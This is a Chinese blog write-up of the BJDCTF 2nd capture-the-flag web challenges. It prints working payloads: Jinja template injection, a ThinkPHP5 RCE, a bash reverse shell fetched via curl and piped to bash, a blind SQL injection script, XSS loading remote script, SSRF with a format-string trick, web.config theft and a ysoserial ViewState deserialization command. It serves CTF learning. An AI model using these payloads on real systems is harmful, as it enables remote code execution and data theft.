

BJDCTF 第二届 WEBwriteup

原创

rdd_null 于 2020-03-23 20:49:58 发布 3597 收藏 1

分类专栏: [CTF](#) 文章标签: [xss](#) [shell](#) [信息安全](#) [power](#) [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_40648358/article/details/105011659

版权



[CTF 专栏收录该内容](#)

9 篇文章 0 订阅

订阅专栏

BJDCTF 第二届 WEB writeup

WEB

[\[BJDCTF 2nd\]fake google](#)

[\[BJDCTF 2nd\]old-hack](#)

[\[BJDCTF 2nd\]duangShell](#)

[\[BJDCTF 2nd\]简单注入](#)

[\[BJDCTF 2nd\]Schrödinger](#)

[\[BJDCTF 2nd\]假猪套天下第一](#)

[\[BJDCTF 2nd\]xss之光](#)

[\[BJDCTF 2nd\]elementmaster](#)

[\[BJDCTF 2nd\]文件探测](#)

[\[BJDCTF 2nd\]EasyAspDotNet](#)

WEB

[BJDCTF 2nd]fake google

- 这题是我出的, 因为源码中只过滤了 `BJD` 的输出, 原意是字符串切片过滤一下, 在 buu 上的 flag 是 `flag{}` 的形式, 所以过滤也就失效了, 淡淡的忧伤
- 直接给 payload: `qaq?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read()[1:] }}`

[BJDCTF 2nd]old-hack

- 打开后是个黑页, 发现是一个 tp5 的框架, 直接 tp5getshell 一把梭
- payload: `GET : ?s=captcha POST: __method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al`

[BJDCTF 2nd]duangShell

题目提示存在备份文件，所以下载下来，发现是.swp文件，使用vim的-r参数还原

还原出源码

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>give me a girl</title>
</head>
<body>
  <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!".<br>";
if (!isset($_POST['girl_friend'])) {
  die("where is P3rh4ps's girl friend ???");
} else {
  $girl = $_POST['girl_friend'];
  if (preg_match('/\>|\\\/', $girl)) {
    die('just girl');
  } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
    echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
  } else {
    //duangShell~~~~~
    exec($girl);
  }
}
```

post一个 `girl_friend`，对其值进行了过滤，不能直接读取flag

于是尝试反弹一个shell，注册个小号，在buu的基本里申请个linux主机

开启主机的apache服务，在/var/www/html下的1.txt写入 `bash -i >& /dev/tcp/174.1.51.154/2333 0>&1`，再开启监听 `nc -l vvp 2333`

在题目中，传入：`girl_friend=curl http://174.1.51.154/1.txt|bash`

反弹shell，获取flag即可

原题中还有个找flag的环节，用find命令即可

[BJDCTF 2nd]简单注入

- 结果回显只在源码中显示，有点坑
- 测试后发现过滤了特殊字符：`" & ' - ; =`和许多关键字
- 在回显中发现有 `用户名错误或不存在`
- 于是猜测是盲注
- 传入 `username=admin\&password=||1#` 可以发现，回显了BJD needs to be stronger

原理: username='admin' and password='||1#'
斜杠注释了username的第二个引号, 使得username比较的值直到了...password='

- 可以使用regexp binary 盲注, 编写脚本

```
import requests

req = requests.session()

url = 'http://ce36ce69-aab9-4595-8435-50ce6d15e902.node3.buuoj.cn/index.php'

data = {"username": "admin\\", "password": "{}"}

# res = req.post(url, data=data, proxies={"http": "127.0.0.1:8080"})
t2 = '0x5e' #^

t3 = ''
for i in range(1,20):
    for i in range(32,127):
        if chr(i) in '.?^*+${': # 屏蔽掉正则表达式中的一些通配符
            pass
        else:
            t1 = str(hex(i)).replace('0x', '')
            # payload1 = '|| username regexp binary {}#'.format(t2+t1) # admin
            payload2 = '|| password regexp binary {}#'.format(t2+t1) #0hyOuFOuNdit
            data['password'] = payload2
            print(data, chr(i))
            res = req.post(url, data=data)
            # print(res.text)
            if "BJD needs" in res.text:
                t3 = t3+chr(i)
                print(t3)
                t2 = t2+t1
                break
```

- 登陆即可源码查看flag

[BJDCTF 2nd]Schrödinger

- 网页中英文翻译结果如下

您可以为该页面提供一个website, 该页面将自动识别目标的各种参数并尝试破解密码。
计算时间越长, 突发事件的成功率越高。但是在检查最后的结果之前, 没有人知道是否要输入密码。
我们称之为突发和未突发的叠加状态, 你可以随时查看进度,
但一旦你查看了进度, 本网站就会停止突发并删除相关的进度,
我们称之为叠加状态的崩溃。如果服务器的CPU是空闲的, 那么它必须是ab

是一个破解密码的界面，可以破解网站的密码

在源码中发现了test.php文件，访问后发现是一个登陆页面

于是尝试破解这个网页，把 `http://localhost/test.php` 输入进去

多了两个回显

Load of Server CPU 93.58949769636799%

Already burst 7 sec, 129990 p/s

Forecast success rate 9.145777700559973%

检查cookie，有一段base值，解码后是时间戳，删除后刷新页面，成功率就变高了

点击check，弹出弹框，是一个b站的av号

...44-bea0-4839-8fe0-9d10801e0a22.node3.buuoj.cn 显示

Burst succeeded! The passwd is av11664517@1583985203.

确定

取消

- flag就在b站的评论区，直接写个自动化脚本跑一下，跑出评论，获得flag

```
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from time import sleep
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.wait import WebDriverWait

url = 'https://www.bilibili.com/video/av11664517?from=search&seid=5788594551178491681'
chrome_options=Options()

browser = webdriver.Chrome()
browser.get(url)

for i in range(1,27):
    print(i)
    wait=WebDriverWait(browser,10)
    next_page = wait.until(EC.element_to_be_clickable((By.CLASS_NAME,"next")))
    c_element = browser.find_element_by_class_name('next')
    c_element.click()
    if "BJD" in browser.page_source:
        break
```

- flag: BJD{Quantum_Mechanics_really_Ez}

[BJDCTF 2nd]假猪套天下第一

- 打开题目，随便登陆一下
- 发现可以随意登陆
- 但是登陆后就没什么信息了
- 抓下登陆的包
- 发现了 `L0g1n.php`
- 访问后，是一系列套娃

```
1、cookie里的时间戳
2、Client-ip:127.0.0.1
3、Referer:gem-love.com
4、User-Agent:Commodore 64
5、from:root@gem-love.com
6、via:y1ng.vip
```

- 套娃完之后，还是没有flag，于是查看源码，但是没请求头，所以看不了
- 尝试抓包
- 源码中发现flag `<!--ZmxhZ3s0YjVjYjMwZi00NDBiLTRhZjQtOWQzYS1jOTQ1NGFkMWUxMjd9Cg===-->`

[BJDCTF 2nd]xss之光

- 打开就让滚滚滚
- 扫描一下，扫到了git目录
- githack获取一下源码

```
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
```

是个反序列化

出题人之前说过是个原生类反序列化

再联想题目，是个XSS于是随便构建一下

payload

```
<?php
$a = new Exception("<script src=http://ip/xssrdd/myjs/copyright.js></script>");
$b = urlencode(serialize($a));

var_dump($b);
?>
```

传入后查看cookie就有flag

延伸payload

```
<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
```

[BJDCTF 2nd]elementmaster

- Y1ng师傅出的题
- 在id里发现了 `506F2E 706870`
- 像16进制，转换一下，得到 `Po.php`
- 访问一下是只有一个点
- 在回头看漫画，发现文件名是元素周期表的意思，联想刚刚得到的Po，还有漫画内容
- 构建payload

```
import os
import requests
req = requests.session()
lists = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in lists:
    url = "http://00157c88-ef09-44e9-93e8-f01a1f3e4c80.node3.buuoj.cn/" + i + ".php"
    res = req.get(url)
    if res.status_code == 200:
        print(res.text, end='')
    else:
        continue
```

- 读出文件 `And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php`

[BJDCTF 2nd]文件探测

- headers中发现 `home.php`
- 构造 `home.php?file=php://filter/convert.base64-encode/resource=system` 读取源码

```

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}
<?php

$filter1 = '/^http:\\\\127\\.0\\.0\\.1\\/\\/i';
$filter2 = '/\\.?f\\.?l\\.?a\\.?g\\.?/i';

if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"\".$url .\"\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --h
int=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}
?>

```

- 扫描目录发现robots.txt，里面有admin.php和flag.php
- admin.php需要从本地访问
- q1随便传，q2传 `http://127.0.0.1/admin.php?rdd=` 闭合后面的 `.y1ng.txt`，q3传 `GET%s%` 闭合后面的 `%d`
- 获得到admin.php的源码

```

<?php
error_reporting(0);
session_start();
$flag = 'flag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return base64_encode(openssl_encrypt($data, $method,$key, OPENSSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}

$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2s1n2nd1n2k1n1ksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}

?>

```


- 需要我们传入 `decrypt`，使得与 `aesEn($data, 'y1ng')` 的值相等
- 这里data是由session控制的，我们猜不到就置空
- 删除 `PHPSESSID`
- 然后用脚本生成decrypt即可，ip可由admin.php直接访问回显得到

```
<?php
function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5('174.0.222.75', true);
    return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
$cipher = aesEn('', 'y1ng');
echo $cipher; //70kLfZeYC+WLC045CcKhtg==
```

- 删除PHPSESSID，GET方式传入decrypt即可

[BJDCTF 2nd]EasyAspDotNet

- 第一次做win的题
- 随便点击几下，源码中发现：`/imgLoad.aspx?path=1.png`
- 尝试任意文件读取，读取 `web.config`：`imgLoad.aspx?path=../../web.config`

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>
```

参看[www师傅发的这篇文章](#)

赵师傅分享的文章，给出了两个脚本链接1和2

直接编译过的脚本链接

运行

```
D:\rdd's_tools\asp\ysoserial-1.32\Release\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"
```

- 运行结果

```
/wEy7EoAAQAAAP8BAAAAAAAAAAwCAAAAT1N5c3R1bS5EYXRhLCBwZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bWV1dHJhbCwgUHVibG1jS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUUBAAAE1N5c3R1bS5EYXRhLkRhdGFTZXQKAAAFkRhdGFTZXQuUmVtb3RpbmdGb3JtYXQTRGF0YVNiYVdC5EYXRhU2V0TmFtZTRFEYXRhU2V0Lk5hbWVzcGFjZQ5EYXRhU2V0L1ByZWZpeBEYXRhU2V0LkNhcnZlZm5zaXRpdmsURGF0YVNiYVdC5Mb2NhbGVtMQ01EGkRhdGFTZXQuRw5mb3JjZUNvbnN0cmFpbmRzGkRhdGFTZXQuRXh0ZW5kZWQcm9wZXJ0aWVzFERhdGFTZXQuVGFiGvZLkNvdW50EERhdGFTZXQuVGFiGvZxZAEAEQEBAAAAAgAHH1N5c3R1bS5EYXRhL1N1cm1hbG16YXRpb25Gb3JtYXQCAAAAQgBCAICAAAABf3///8fU3lzdGVtLkRhdGEuU2VyaWFs
```


